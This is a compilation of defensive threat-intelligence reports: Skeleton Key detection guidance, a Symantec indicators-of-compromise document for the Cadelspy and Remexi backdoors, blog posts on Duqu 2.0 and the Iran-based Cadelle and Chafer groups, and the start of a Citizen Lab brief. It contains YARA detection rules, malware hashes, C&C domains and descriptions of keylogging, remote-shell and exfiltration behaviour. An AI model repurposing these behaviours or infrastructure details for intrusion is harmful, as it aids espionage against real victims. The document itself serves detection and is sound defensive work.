prevents threat actors from bypassing single-factor authentication or authenticating using stolen static credentials. A process creation audit trail on workstations and servers, including AD domain controllers, may detect Skeleton Key deployments. Specifically, organizations should look for the following artifacts: Unexpected PsExec.exe processes and the use of the PsExec "-accepteula" command line argument Unexpected rundll32.exe processes Process arguments that resemble NTLM hashes (32 characters long, containing digits 0-9 and characters A-F) Monitoring Windows Service Control Manager events on AD domain controllers may reveal unexpected service installation events (event ID 7045) and service start/stop events (event ID 7036) for PsExec's PSEXESVC service. Appendix A YARA signatures The following YARA signatures detect the presence of Skeleton Key on a system, by scanning either a suspicious file or a memory dump of Active Directory domain controllers suspected to contain Skeleton Key. rule skeleton_key_patcher strings: $target_process = "lsass.exe" wide $dll1 = "cryptdll.dll" $dll2 = "samsrv.dll" $name = "HookDC.dll" $patched1 = "CDLocateCSystem" $patched2 = "SamIRetrievePrimaryCredentials" $patched3 = "SamIRetrieveMultiplePrimaryCredentials" condition: all of them rule skeleton_key_injected_code strings: $injected = { 33 C0 85 C9 0F 95 C0 48 8B 8C 24 40 01 00 00 48 33 CC E8 4D 02 00 00 48 81 C4 58 01 00 00 C3 } $patch_CDLocateCSystem = { 48 89 5C 24 08 48 89 74 24 10 57 48 83 EC 20 48 8B FA 8B F1 E8 ?? ?? ?? ?? 48 8B D7 8B CE 48 8B D8 FF 50 10 44 8B D8 85 C0 0F 88 A5 00 00 00 48 85 FF 0F 84 9C 00 00 00 83 FE 17 0F 85 93 00 00 00 48 8B 07 48 85 C0 0F 84 84 00 00 00 48 83 BB 48 01 00 00 00 75 73 48 89 83 48 01 00 00 33 D2 } $patch_SamIRetrievePrimaryCredential = { 48 89 5C 24 08 48 89 6C 24 10 48 89 74 24 18 57 48 83 EC 20 49 8B F9 49 8B F0 48 8B DA 48 8B E9 48 85 D2 74 2A 48 8B 42 08 48 85 C0 74 21 66 83 3A 26 75 1B 66 83 38 4B 75 15 66 83 78 0E 73 75 0E 66 83 78 1E 4B 75 07 B8 A1 02 00 C0 EB 14 E8 ?? ?? ?? ?? 4C 8B CF 4C 8B C6 48 8B D3 48 8B CD FF 50 18 48 8B 5C 24 30 48 8B 6C 24 38 48 8B 74 24 40 48 83 C4 20 5F C3 } $patch_SamIRetrieveMultiplePrimaryCredential 89 6C 24 10 = { 48 89 5C 24 08 48 48 89 74 24 18 57 48 83 EC 20 41 8B F9 49 8B D8 8B F2 8B E9 4D 85 C0 74 2B 49 8B 40 08 48 85 C0 74 22 66 41 83 38 26 75 1B 66 83 38 4B 75 15 66 83 78 0E 73 75 0E 66 83 78 1E 4B 75 07 B8 A1 02 00 C0 EB 12 E8 ?? ?? ?? ?? 44 8B CF 4C 8B C3 8B D6 8B CD FF 50 20 48 8B 5C 24 30 48 8B 6C 24 38 48 8B 74 24 40 48 83 C4 20 5F C3 } condition: any of them Backdoor.Cadelspy and Backdoor.Remexi Security Response Backdoor.Cadelspy and Backdoor.Remexi indicators of compromise Version 1.0: December 7, 2015, 14:00 GMT Security Response Dec 7, 2015 Copyright 2015 Symantec Page 1 Backdoor.Cadelspy and Backdoor.Remexi Backdoor.Cadelspy Dropper File name ntinst.exe 8b9d1fc8e5864a46ba5992f7350d5d89 SHA1 72219ba63f2cb336bc7d2e59e9e527af612e207d SHA256 c3a14dab06866ce635b45196022a35fe99e1d7ceccf8b378cc807249771e6e42 Size 636,416 bytes Purpose Drops all components from its resource section Table 1. Backdoor.Cadelspy dropper attributes This is Backdoor.Cadelspy s dropper component. When executed, the dropper extracts other components from its resource section. It drops two of the installer components in the %Temp% folder and the rest in %Temp%\tmp0001. It executes the appropriate installer, depending on whether the computer is a 32- or 64-bit system. The files created by the installer are listed in the following table: Action Path File name Purpose create %Temp% ldr32_x64.exe 64-bit installer create %Temp% ldr32_x86.exe 32-bit installer create %Temp%\tmp001 work.path Contains encrypted folder path create %Temp%\tmp001\x64 2093101001.cfg Configuration file create %Temp%\tmp001\x64 2093101001.rou Configuration file create %Temp%\tmp001\x64 ntsvcst32.dll 64-bit loader of the back door create %Temp%\tmp001\x64 ntsvc32.dll 64-bit back door create %Temp%\tmp001\x86 2093101001.cfg Configuration file create %Temp%\tmp001\x86 2093101001.rou Configuration file create %Temp%\tmp001\x86 ntsvcst32.dll 32-bit loader of the back door create %Temp%\tmp001\x86 ntsvc32.dll 32-bit back door Table 2. Files created by Backdoor.Cadelspy s installer Installer 32-bit installer File name ldr32_x86.exe SHA1 65bb99e15e098166bff04f22805b15810f8fbf71 SHA256 bf24d7f4e40aaa102d8e5b048de82c6ca9ffcc6c07f207ea79d1a4af5ffc9120 Size 75,264 bytes Purpose Installs the 32-bit files from the dropper 6542d5f614ba093a43cd6a3a846d37ff Table 3. Backdoor.Cadelspy s 32-bit installer attributes Security Response Dec 7, 2015 Copyright 2015 Symantec Page 2 Backdoor.Cadelspy and Backdoor.Remexi 64-bit installer File name ldr32_x64.exe 269b5a5270b34bf86c60bc793486aab7 SHA1 14a694517ca05165ca09c81c984888923a35f0b0 SHA256 6e8f5c8addab6d875a06bc92e109c0298aede342810eb25e16d292b4fffce535 Size 91,648 bytes Purpose Installs the 64-bit files from the dropper Table 4. Backdoor.Cadelspy s 64-bit installer attributes This component installs the files from the dropper. It also creates a registry entry to remain persistent on the computer. The installer can be executed with two parameters: The first parameter may be the string true , upon which the installer will terminate the explorer.exe process. Windows will automatically re-launch explorer.exe and load %System%\ntsvc32\ntsvc32.dll The second parameter is a file name that needs to be deleted. This may remove the dropper component from the computer after the threat is successfully installed. When executed, the installer creates the %System%\ntsvc32 folder and moves the appropriate files from the %Temp%\tmp001\[x86 OR x64] folder into it. On a 32-bit computer, the following files are moved: Action Source path File name Destination path move %Temp%\tmp001\x86 2093101001.cfg %System%\ntsvc32 move %Temp%\tmp001\x86 2093101001.rou %System%\ntsvc32 move %Temp%\tmp001\x86 ntsvc32.dll %System%\ntsvc32 move %Temp%\tmp001\x86 ntsvcst32.dll %System%\ntsvc32 Table 5. Files moved by 32-bit installer On a 64-bit computer, the following files are moved: Action Source path File name Destination path move %Temp%\tmp001\x64 2093101001.cfg %System%\ntsvc32 move %Temp%\tmp001\x64 2093101001.rou %System%\ntsvc32 move %Temp%\tmp001\x64 ntsvc32.dll %System%\ntsvc32 move %Temp%\tmp001\x64 ntsvcst32.dll %System%\ntsvc32 Table 6. Files moved by 64-bit installer The loader component, %System%\ntsvc32\ntsvc32.dll, decrypts the file %Temp%\tmp0001\work.path, which contains a folder path to create. The remaining files that the dropper created in the %Temp%\tmp0001 folder, with the exception of work.path, are then deleted. Persistence The loader component is added to the AppInit_DLLs registry so that it loads when any Windows-based application runs. Security Response Dec 7, 2015 Copyright 2015 Symantec Page 3 Backdoor.Cadelspy and Backdoor.Remexi Back door File name ntsvc32.dll 200e662384542ccd979d4994dd08163e SHA1 c5f1bb651f665cc30cf789ce554f2bfc9d91a19f SHA256 0f7f0283baddacac623b0adcadf4ce146f6e61cc514abb31982299d25cd86400 Size 415,232 bytes Purpose Main module containing the back door routine Table 7. Backdoor.Cadelspy back door attributes This component is Cadelspy s main back door, which gathers user information, logs keystrokes, captures screenshots and webcam pictures, and performs other functionality. The module also communicates with the command-and-control (C&C) servers. The back door component contains two configuration files: 2093101001.cfg (main configuration file) 2093101001.rou The main configuration file contains: C&C server information Enabled commands Applications to monitor Functionality The back door component performs the following actions: Decrypts the .cfg file to extract the C&C server(s), URI, commands to enable, and other related configuration data Decrypts the .rou file to extract settings. If the .rou file is not found, it requests the C&C server to send it one. Creates the registry subkeys and values using data extracted from the .rou and .cfg file. Creates the %System%\ntinfo32 folder to store all of the gathered data. Starts command threads which perform the main functionality of the back door The gathered information is saved within .fjr or .rou files in the %System%\ntinfo32 folder. The back door then compresses them as .ecm files. If there is no user activity, the back door compresses the files into a .cab and uploads it to the C&C server. Once the files are uploaded, the back door retrieves the C&C server response and saves it in a new .rou file containing commands . The back door component also retrieves the window names (text) and computer name, and uploads them to /sms.aspx Note: The input and output during communications are in an XML format (before encryption) Command and control The back door component appears to use an open-source HTTP client called Ryeol to communicate with the C&C servers. Security Response Dec 7, 2015 Copyright 2015 Symantec Page 4 Backdoor.Cadelspy and Backdoor.Remexi During command execution, the following registry entries are examined to determine if the malware is in a active or inactive state: HKEY_CURRENT_USER\SOFTWARE\ntsvc32\ = "CSNPSV" HKEY_CURRENT_USER\SOFTWARE\ntsvc32\ = "CSACTD" The component also checks to see if there is a valid internet connection to the C&C server using the InternetGetConnectedState API. The back door attempts to download an update of the main configuration file from the C&C server through the following URL: [C&C SERVER ADDRESS]/allusers/2093101001.rou2093101001.txt If the configuration update is unavailable, the default .rou configuration file is used. The back door component supports the following commands: Command Description Takes a screenshot and saves it to snp.fjr Captures a webcam image and saves it as wbm.fjr. To do this, it calls the WebCamCapture export in \ntsvc32\CamCap.dll keylog Logs keystrokes and saves them in the main log file Captures window titles or text that the mouse clicked. Saves them to msc.fjr Copies what's in the clipboard and saves it to clp.fjr RecordSound Records sound using waveIn APIs SpoolCommand Gathers printer information and all of the documents that were sent to be printed. Saves the information to the main log file. GetMachineInfoCommand Runs once when the malware is installed. Gathers information about the hard drives and the network, and writes it to the main log file ExecuteCommand Executes a given shell command UploadCommand Compresses all of the files in the .cab file format. Waits for no user activity (idle time) and then uploads the information Table 8. Back door s supported commands Indicators of compromise Backdoor.Cadelspy hashes SHA256 8b9d1fc8e5864a46ba5992f7350d5d89 c3a14dab06866ce635b45196022a35fe99e1d7ceccf8b378cc807249771e6e42 269b5a5270b34bf86c60bc793486aab7 6e8f5c8addab6d875a06bc92e109c0298aede342810eb25e16d292b4fffce535 6542d5f614ba093a43cd6a3a846d37ff bf24d7f4e40aaa102d8e5b048de82c6ca9ffcc6c07f207ea79d1a4af5ffc9120 be303010e6ac78c7975c93aa459f2319 36f5744f72674524f56bf286dce7e4b1c93ac2859036513cfdb479daf1c014f1 34b4d84d5e771d2d018d925c6ac40293 82ed6493c494e88e49799c75f6b22c101c1ca3d97ac001b5487610f81d21d961 8d26621cc8e969266985f7000536f557 3db1b57303326b9fea0fbf919ae6113d013e695b2844d645bfe69d3b4bc0ec57 200e662384542ccd979d4994dd08163e 0f7f0283baddacac623b0adcadf4ce146f6e61cc514abb31982299d25cd86400 7beeb3bd4681c17fe93fffcefcd125aa d6e769121d327a3f00c615459ac04bc4e2149aa17ea29479b86156298834eb62 6d70e287bf472663c1fbb4682d13d74a fead15c401f0aba8e770b7a85df96852dd1b72ca367c2aef3a0913bca10da0d5 ff521e2a7908745fc951979e03cf0c01 ac187ad5ce438cfbcd58743b2641978c2d9d000d7c30130d2df42c767be08996 f35ad22d762d59672e1977a4d96658af e2f430fb6f3588cd9cf63a74760e37738c91e7589df41f0bbac9a4e23b745d7e Security Response Dec 7, 2015 Copyright 2015 Symantec Page 5 Backdoor.Cadelspy and Backdoor.Remexi 06291777cc2840a89ce1f8f82db97453 0595979c000ef1aa3a237b0822c0556a64a75edaec8560e37e9214fd57569461 2d8ba12d741fee7edae6454b06f6bc9c 2f0b3cf460b3909f259550a3a09e679d63391847ae45bd44306ddbfc1f53d5ec 15db41840f77723aa7e43460d9d3a5cc 688dbf4cfc00957d2679dc319de0bb80f38e7b5ac4414c1543e135e37c561b8b 05a88017b65754dc66f83c1d37778cc7 247511a37c6e01e1b4acf360003e9e72208c86df614fc711b2b152a4c3fc524f 0069360b20a03728665bd92c4bccf380 c5460b3e2b4dfe9af1c209ecd143c7f847a9092abea86275a071324110f74555 d5601ec9a7d2853b68e639cf9d55b987 8455598c9bbb0a93aa35b083ee8bb83bb01fe27cf02ee7c44052a813cb66767c 5c0d7e787c39d64ef8546c5d2bcdab6d 26f0d3d4eb4d445f4231157198eae01846797ce5ffc624872b0daf90736994e8 0b88451740471839755d5e46255c4bb5 54abd9863f185e7ebd47a3f39f99335532bd55849228a7ed29ffdab8090dc4f6 4387a0855c11ac9b8e8f7593eca32e6e 27f2350d51cb41a4e5330b7cffd87ca89d263278e2a3fb8cbf0d324a4a267223 9aba0581781b7f5f9e57f07716a41f26 6a88964db3e97e8176dd1df4ca69e2bfd92366a5b051d3313fa48aefa4ad288f e40e83cdf0688e48df2cdb70962a6be2 ebc9d6bcd5f8e738d2ed82b1c232df06b9caf0b33ea8b4b45d7f0bfd8252a97d dc8fe2004c7cd048bc93c5803c001e3f 2317f2448a689aa3d4802e838ae3dfd772246e6f1eb9e262df4012a221a63825 38f9efa16a3b360c8ad1c872413f8dd9 f8fe5edcdf087368a4aa9e39d583fc80a625209f3297a4db9697d4ade6c8b9ce 5c587530e0d3daca90ca26436e091d08 90bea454ed11dbdfe0d21e097299db4354999b693489cbccc652c11cc1adce22 8a58cb79c33b196036f8d5b960316319 6079c6ff09440faa673be55f0f7f8a613d8654e7d2cb49990db316b0add53063 Table 9. Hashes associated with Backdoor.Cadelspy Backdoor.Cadelspy Yara signatures rule Cadelle_1 strings: $s1 = { 56 57 8B F8 8B F1 33 C0 3B F0 74 22 39 44 24 0C 74 18 0F B7 0F 66 3B C8 74 10 66 89 0A 42 42 47 47 4E FF 4C 24 0C 3B F0 75 E2 3B F0 75 07 4A 4A B8 7A 00 07 80 33 C9 5F 66 89 0A 5E C2 04 00 $s2 = "ntsvc32" $s3 = "ntbind32" condition: $s1 and ($s2 or $s3) rule Cadelle_2 strings: $s1 = "[EXECUTE]" wide ascii $s2 = "WebCamCapture" wide ascii $s3 = "" wide ascii $s4 = "" wide ascii $s5 = "" wide ascii $s6 = "" wide ascii $s7 = "Can't open file for reading :" wide ascii $s8 = "" wide ascii $s9 = "" wide ascii $s10 = "JpegFile :" wide ascii $s12 = "[SCROLL]" wide ascii $s13 = "" wide ascii $s14 = "CURRENT DATE" wide ascii Security Response Dec 7, 2015 Copyright 2015 Symantec Page 6 Backdoor.Cadelspy and Backdoor.Remexi $s15 = "" wide ascii $s16 = "" wide ascii $s17 = "" wide ascii $s18 = "" wide ascii $s19 = "" wide ascii $s20 = "" wide ascii $s21 = "FlashMemory" wide ascii condition: 12 of them rule Cadelle_3 strings: $s1 = "SOFTWARE\\ntsvc32\\HDD" wide ascii $s2 = "SOFTWARE\\ntsvc32\\ROU" wide ascii $s3 = "SOFTWARE\\ntsvc32\\HST" wide ascii $s4 = "SOFTWARE\\ntsvc32\\FLS" wide ascii $s5 = "ntsvc32" wide ascii $s6 = ".Win$py." wide ascii $s7 = "C:\\users\\" wide ascii $s8 = "%system32%" wide ascii $s9 = "\\Local Settings\\Temp" wide ascii $s10 = "SVWATAUAVAW" wide ascii $s11 = "\\AppData\\Local" wide ascii $s12 = "\\AppData" wide ascii condition: 6 of them rule Cadelle_4 strings: $s1 = "AppInit_DLLs" wide ascii $s2 = { 5C 00 62 00 61 00 63 00 6B 00 75 00 70 00 00 } $s3 = { 5C 00 75 00 70 00 64 00 61 00 74 00 65 00 00 } $s4 = "\\cmd.exe" wide ascii condition: all of them Security Response Dec 7, 2015 Copyright 2015 Symantec Page 7 Backdoor.Cadelspy and Backdoor.Remexi Backdoor.Remexi and Backdoor.Remexi.B Backdoor.Remexi is a basic back door that lets the attackers open a remote shell and execute commands. When loaded, the Trojan may log DWORD markers and last-error code values to the following file: %Temp%\WIN[RANDOM HEXADECIMAL VALUE].tmp The following includes two examples of what [RANDOM HEXADECIMAL VALUE] could be: 2002010500000000 20020205B7000000 In these examples, 20020105 and 20020205 are markers, while the second dwords are last-error code values. The malware reads arguments from the following registry subkey: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\SEA\Parameters\Arguments For Backdoor.Remexi.B, the service may be called The first two arguments are the C&C server s IP address and port number. The remaining two arguments are the working time range. If the current time is not within this range, then the Trojan will fall into sleep mode. The back door Trojan connects to the C&C server using the IP address and port number that were specified in the registry. The malware then creates a cmd shell. This shell is used to let the attacker send commands to the affected computer . The threat reads the value of the following registry subkey: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\SEA\Parameters\ID Then, the Trojan may send the ID value to the C&C server and show the ID value for the shell. The shell is open until the "" is received.The malware can also update the ID and save it to the following registry subkey: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\SEA\Parameters\ID Indicators of compromise Backdoor.Remexi hashes SHA256 19cd900c135a5e9d486735ae3d2c3e97 6c0d1268177ebc1ad7b8f34f04b3d38c74cf4b43e18259677759c0ef91615e24 253e32699d5b9c4cdf8a589ef6309af5 17a73d715333d4af746bf6d180fd129b6334a34599bf299bef48d7e27de95a68 a437c10da3aaa8fe3241c8629c18d21a 6b8a220272382f5481e1900c1c603f67ec9d5fb45ad78bf7788dece1f20dddcd b457ebbfbaf3d8adcce8bf8b2a7adcea a8921363b0f3cca72c5487f67230b564598b2c20dcd7ea04807b7b18b78af53a fd2e29ad73d2e73f16667748f4536c4c da84353f914c297878e5d5eb55a6905b655410df67b881092008b24faa90bb79 Security Response Dec 7, 2015 Copyright 2015 Symantec Page 8 Backdoor.Cadelspy and Backdoor.Remexi c6acff232a12259d75196a5ba6a233c7 9be5fa0e44b2fe964f292db44236ecf2d790465a9d42fe550dff20faca5a2d52 26afc6ef4315460e7e9e1cd8a3d20700 18CE17849CD25452D98B24987556322DA72E1031D1C8D8680EE9FEC3DFB7CB46 Table 10. Hashes associated with Backdoor.Remexi Backdoor.Remexi.B hashes SHA256 adad23e3ca8057b562fad57a4b1c6137 1E5022576367F6A614AFE0F8963AEDD1F0C7B06502E326C43362A59DDEFD118E 135b226e06a309dad5c4af1e36528f93 de529597194ed2088eb7fc246bcb698dac739c2ac3de8d7b9a5fd0e969f124fa 1fe84feb00e779bcdbece24ddddb38f7 D94B920A5645218D8368C1277E5D2081916E66D815C9C3E150B07ADE02DE970F 2374b9655f6330b07bc3d63df399731e 9f0ac7fa30e86b4015de6f77fe219cced164f317799fdc3faaf35af730a48700 27524accc1559da37deecb583419eb6e 22261e840bfaa43b982ce08a1eb18fd53400dca2a2dc6edebd1398229e5a32ee 2c3ebabc800fd2256dae4a9c363e0f49 f4db775254f4139ec677efa1a633e310189d7ad425a7f5a84fdb6ee4a3c1aa21 894fd325751465d6f48c17106a1a91d1 98a9b2329eefe618daa78b6afed82cebf40cb918ad0aae7a8d7f59af4cb13b41 ac2b52010d43632b2f66573d2550984c f7e44314521c04626d586e07cbab655ee59a5a0805cccef8311f669c175f5d86 Table 11. Hashes associated with Backdoor.Remexi.B Backdoor.Remexi C&C domains 37atypz123.dns-bind9.com 5ppob16.dockerjsbin.com 87abfg113.dockerjsbin.com 87pqxz159.dockerjsbin.com Backdoor.Remexi Yara signature rule Remexi strings: = { 00 3C 65 78 69 74 3E 00 } = { 00 3C 69 64 3E 00 } = { 00 3C 72 65 6D 3E 00 } = { 00 3C 63 6C 6F 73 65 3E 00} = { 00 57 49 4E 00 } = { 00 63 6D 64 2E 65 78 65 00 } = { 00 49 44 00 } = { 00 72 65 6D 00 } /* */ /* /* /* */ /* WIN /* cmd.exe */ /* ID /* rem = "\\SEA.pdb" = "\\mas.pdb" = "Connecting to the server..." = "cmd.exe /c sc stop sea & sc start sea" = "SYSTEM\\CurrentControlSet\\services\\SEA\\Parameters" = "RecvWrit()-Read_Sock-Failed" = "ReadPipeSendSock()" condition: (4 of ($c*) and (2 of ($s*) or any of ($d*))) or (5 of ($c*) and any of ($s*)) Security Response Dec 7, 2015 Copyright 2015 Symantec Page 9 Backdoor.Cadelspy and Backdoor.Remexi About Symantec Symantec Corporation (NASDAQ: SYMC) is an information protection expert that helps people, businesses and governments seeking the freedom to unlock the opportunities technology brings -- anytime, anywhere. Founded in April 1982, Symantec, a Fortune 500 company, operating one of the largest global data-intelligence networks, has provided leading security, backup and availability solutions for where vital information is stored, accessed and shared. The company's more than 20,000 employees reside in more than 50 countries. Ninety-nine percent of Fortune 500 companies are Symantec customers. In fiscal 2014, it recorded revenues of $6.7 billion. To learn more go to www.symantec.com or connect with Symantec at: http://www.symantec.com/social/ For specific country offices and contact numbers, please visit our website. Symantec World Headquarters 350 Ellis St. Mountain View, CA 94043 USA +1 (650) 527-8000 1 (800) 721-3934 www.symantec.com Any technical information that is made available by Symantec Corporation is the copyrighted work of Symantec Corporation and is owned by Symantec Corporation. NO WARRANTY. The technical information is being delivered to you as is and Symantec Corporation makes no warranty as to its accuracy or use. Any use of the technical documentation or the information contained herein is at the risk of the user. Documentation may include technical or other inaccuracies or typographical errors. Symantec reserves the right to make changes without prior notice. Copyright 2015 Symantec Corporation. All rights reserved. Symantec, the Symantec Logo, and the Checkmark Logo are trademarks or registered trademarks of Symantec Corporation or its affiliates in the U.S. and other countries. Other names may be trademarks of their respective owners Security Response Dec 7, 2015 Copyright 2015 Symantec Page 10 Duqu 2.0: Reemergence of an aggressive cyberespionage threat symantec.com/connect/blogs/duqu-20-reemergence-aggressive-cyberespionage-threat June 9, 2015 Symantec Official Blog Attackers use new version of Duqu worm in ambitious attacks against telecoms, electronics and even information security sectors. By: Symantec Security ResponseSymantec Employee Created 10 Jun 2015 Duqu 2.0, the cyberespionage tool that was used to compromise security firm Kaspersky Lab, has also been used in a number of other attack campaigns against a range of targets, including several telecoms firms. Analysis by Symantec concurs with Kaspersky s assessment today that Duqu 2.0 (detected by Symantec as W32.Duqu.B) is an evolution of the older Duqu worm, which was used in a number of intelligence-gathering attacks against a range of industrial targets before it was exposed in 2011. Although their functionalities were different, the original Duqu worm had many similarities with the Stuxnet worm used to sabotage the Iranian nuclear development program. New attacks Symantec has found evidence that Duqu has been used in a number of different attack campaigns against a small number of selected targets. Among the organizations targeted were a European telecoms operator, a North African telecoms operator, and a South East Asian electronic equipment manufacturer. Infections were also found on computers located in the US, UK, Sweden, India, and Hong Kong. In addition to the attack against itself, Kaspersky believes Duqu was used to target countries involved in international negotiations surrounding Iran s nuclear program. Given the diversity of targets, Symantec believes that the Duqu attackers have been involved in multiple cyberespionage campaigns. Some organizations may not be the ultimate targets of the group operations, but rather stepping stones towards the final target. The group s interest in telecoms operators could be related to attempts to monitor communications by individuals using their networks. Symantec has found no evidence to suggest that it has been affected by attacks using this malware. Duqu 2.0 in operation This new version of Duqu is stealthy and resides solely in the computer s memory, with no files written to disk. It comes in two variants. The first is a basic back door that appears to be used to gain a persistent foothold inside the targeted entity by infecting multiple computers. The second variant is more complex. It has the same structure as the first, but contains several modules that provide a range of functionality to the malware, such as gathering information on the infected computer, stealing data, network discovery, network infection, and communication with command-and-control (C&C) servers. This variant appears to be deployed to computers deemed to be targets of interest by the attackers. Common code and code flow Duqu and Duqu 2.0 share large amounts of code, in addition to similarities in how that code is organized. The shared code includes a number of helper functions. For example, as shown in Figure 1, there is a gen_random function (as labelled by an engineer) that is shared between Duqu and Duqu 2.0. Not only is that gen_random code shared, but the code that calls that function is also organized almost identically. Such similarities in how code is called is repeated in several other locations throughout Duqu 2.0, including in how C&C IP addresses are formatted, how network messages are generated, and how files are encrypted and decrypted. Figure 1. Duqu vs Duqu 2.0 code flow When a program needs to store data, the program author will design structures to store that data in a logical and easily accessible manner. Duqu and Duqu 2.0 share a number of these data structures. Network communications Another shared feature between the two variants, as shown in Figure 1, is the use of a cookie header with a hardcoded string and a random string when sending messages to a C&C server. For example: Duqu: Cookie: PHPSESSID= Duqu 2.0: Cookie: COUNTRY= A second shared feature in the network communications code is to connect to a number of Microsoft URLs to retrieve a proxy address, as shown in Figure 2. Figure 2. Duqu vs Duqu 2.0 network code The list of Microsoft URLs connected to, by both variants, is identical. Finally, for network communications, when Duqu uses HTTP, it will use image names in the Content-Disposition header. For Duqu, the value DSC00001.jpg was used, whereas for Duqu 2.0, the value %05d.gif is used. Conclusion Based on our analysis, Symantec believes that Duqu 2.0 is an evolution of the original threat, created by the same group of attackers. Duqu 2.0 is a fully featured information-stealing tool that is designed to maintain a long term, low profile presence on the target s network. Its creators have likely used it as one of their main tools in multiple intelligence gathering campaigns. Given that activity surrounding the original version of Duqu dropped off following its discovery, it is likely that the group may now retreat before re-emerging with new malware. Protection Symantec and Norton products detect this threat as: W32.Duqu.B Endpoint Protection community.broadcom.com/symantecenterprise/viewdocument/iran-based-attackers-use-back-door Dec 07, 2015 08:59 AM A L Johnson Two teams of Iran-based attackers have been using back door threats to conduct targeted surveillance of domestic and international targets. While the groups are heavily targeting individuals located in Iran, they ve also compromised airlines and telecom providers in the Middle East region, possibly in an attempt to monitor targets movements and communications. The attackers are part of two separate groups that have a shared interest in targets. One group, which we call Cadelle, uses Backdoor.Cadelspy, while the other, which we ve named Chafer, uses Backdoor.Remexi and Backdoor.Remexi.B. These threats are capable of opening a back door and stealing information from victims computers The Cadelle and Chafer groups Symantec telemetry identified Cadelle and Chafer activity dating from as far back as July 2014, however, it s likely that activity began well before this date. Command-and-control (C&C) registrant information points to activity possibly as early as 2011, while executable compilation times suggest early 2012. Their attacks continue to the present day. Symantec estimates that each team is made up of between 5 and 10 people. The back door threats that the groups use appear to be custom made. It s unclear how Cadelle infects its targets with Backdoor.Cadelspy. However, Chafer has been observed compromising web servers, likely through SQL injection attacks, to drop Backdoor.Remexi onto victims computers. Chafer then uses Remexi to gather user names and passwords to help it spread further across the network. There is evidence to suggest that the two teams may be connected in some way, though we cannot confirm this. A number of computers experienced both Cadelspy and Remexi infections within a small time window. In one instance, a computer was compromised with Backdoor.Cadelspy just minutes after being infected with Backdoor.Remexi. The Cadelle and Chafer groups also keep the same working hours and focus on similar targets. However, no sharing of C&C infrastructure between the teams has been observed. If Cadelle and Chafer are not directly linked, then they may be separately working for a single entity. Their victim profile may be of interest to a nation state. The victims Data from Cadelle s C&C servers shows that a large number of Backdoor.Cadelspy infections affected individual users of Iranian internet service providers (ISPs) and hosting services. This suggests that the majority of victims are based in Iran. There was also a significant amount of individual targets that used anonymous proxy services to go online. Reports have shown that many Iranians avail of these services to access sites that are blocked by the government s internet censorship measures. Dissidents, activists, and researchers in the region may use these proxies in an attempt to keep their online activities private. Figure 1. Backdoor.Cadelspy infections by region In terms of targeted organizations, both Cadelle and Chafer seem to be interested in a similar category of organizations, such as airlines and telecom companies. The affected organizations we were able to identify are mostly based in the Middle East region in countries such as Saudi Arabia and Afghanistan, while one organization is located in the Figure 2. Number of unique organizations hit with Backdoor.Cadelspy and Backdoor.Remexi from July 2014 to October 2015 Our telemetry shows that among more than a dozen entities that experienced Cadelspy and Remexi infections, four of them were compromised with both of the threats at some stages. In most instances, victim computers were infected with either Backdoor.Cadelspy or Backdoor.Remexi, not both. Less than five percent of computers were infected with both malware families. In one affected organization, there was intermittent activity between the threats over ten months. A combined total of 60 computers were compromised in another organization for almost a year. The malware s activity on victim computers appears to depend on the targets. One computer that was infected with both Cadelspy and Remexi was a system that ran a SIM card editing application. Other compromised computers included those belonging to web developers, or are file and database servers. The nature of the victims suggests that Cadelle and Chafer are primarily interested in tracking individuals in terms of their movements and communications. Compromising regional telcos and airlines can help the attackers achieve this aim. Based in Iran? There are a number of factors in these groups campaigns that suggests that the attackers may be based in Iran. Cadelle and Chafer are most active during the day time within Iran time zone and primarily operate during Iran s business week (Saturday through Thursday). Figure 3. Cadelle and Chafer s activity levels by hour in Iran s time zone (UTC +3.5) Additionally, Symantec observed that Backdoor.Cadelspy s file strings seem to include dates written in the Solar Hijri calendar, which is used in Iran and Afghanistan. While the Gregorian calendar marks the current year as 2015, the Solar Hijri calendar states that it is 1394. When we converted the dates in the file strings from the Solar Hijri calendar to the Gregorian one, we found that they were close to the compilation times of the executables and also close to when Cadelle s targets were initially compromised. Based on our analysis, we believe that Cadelle and Chafer s victims are most likely to be of interest to an Iranian entity. Cadelle and Chafer are by no means the first Iran-based attack group to appear. Other groups attributed to Iranian attackers, such as Rocket Kitten, have targeted Iranian individuals in the past, including anonymous proxy users, researchers, journalists, and dissidents. Backdoor.Remexi activity in particular is reminiscent of Operation Cleaver, as documented by Cylance, and may possibly be a continuation of that activity. Cadelle and Chafer s malware The groups use one malware family each to open a back door and steal information from the compromised computer. Cadelle uses Backdoor.Cadelspy while Chafer operates with Backdoor.Remexi and Backdoor.Remexi.B. Cadelspy initially arrives on the computer as a dropper, which downloads two installer components catering to whether the victim is running a 32-bit or 64-bit system. The dropper then executes the appropriate installer, which launches Cadelspy s malicious payload and allows it to run whenever any Windows program is executed. Cadelspy s main payload contains its back door functionality, allowing the threat to carry out the following activities: Log keystrokes and the titles of open windows Gather clipboard data and system information Steal printer information and any documents that were sent to be printed Record audio Capture screenshots and webcam photos Cadelspy compresses all of the stolen data into a .cab file and uploads it to the attacker C&C servers. The threat is also able to update its configuration file to gain additional features. Meanwhile, Chafer s threat Remexi contains fewer features than Cadelle s Cadelspy does. Remexi is a basic back door Trojan that allows attackers to open a remote shell on the computer and execute commands. Though this is unsophisticated, a remote shell does provide a highly flexible and powerful means of remote access in the hands of a skilled attacker. Mitigation Cadelle and Chafer s activities show that attack groups don t need advanced skills to conduct effective targeted espionage against victims. The two groups threats have managed to remain on their targets computers for almost a year, potentially giving the attackers access to an enormous amount of sensitive information. They re also aware that they don t only have to directly attack the individuals, as they can get to their victims by compromising the services that they use, such as airlines and telcos. Both Cadelle and Chafer are still active today and we don t expect to see them end their activities any time soon. Individuals and organizations wishing to avoid being compromised by these teams should adhere to the following advice: Ensure that software on computers and servers is being regularly updated to prevent known vulnerabilities from being exploited Treat unsolicited emails with suspicion. Targeted attacks frequently distribute malware through malicious links and attachments in emails. Keep security software up-to-date with the latest definitions Protection Norton Security, Symantec Endpoint Protection, and other Symantec security products protect users against these threats through the following detections: Indicators of compromise We have also compiled an indicators-of-compromise document containing further details which can be used to help identify the threats if they are present in your environment. Research Brief June 2015 The Citizen Lab Target Attacks against Tibetan and Hong Kong Groups Exploiting CVE-2014-4114 Authors: Katie Kleemola, Masashi Crete-Nishihata, and John Scott-Railton INTRODUCTION This post analyzes targeted malware attacks against groups in the Tibetan diaspora and pro-democracy groups in Hong Kong. 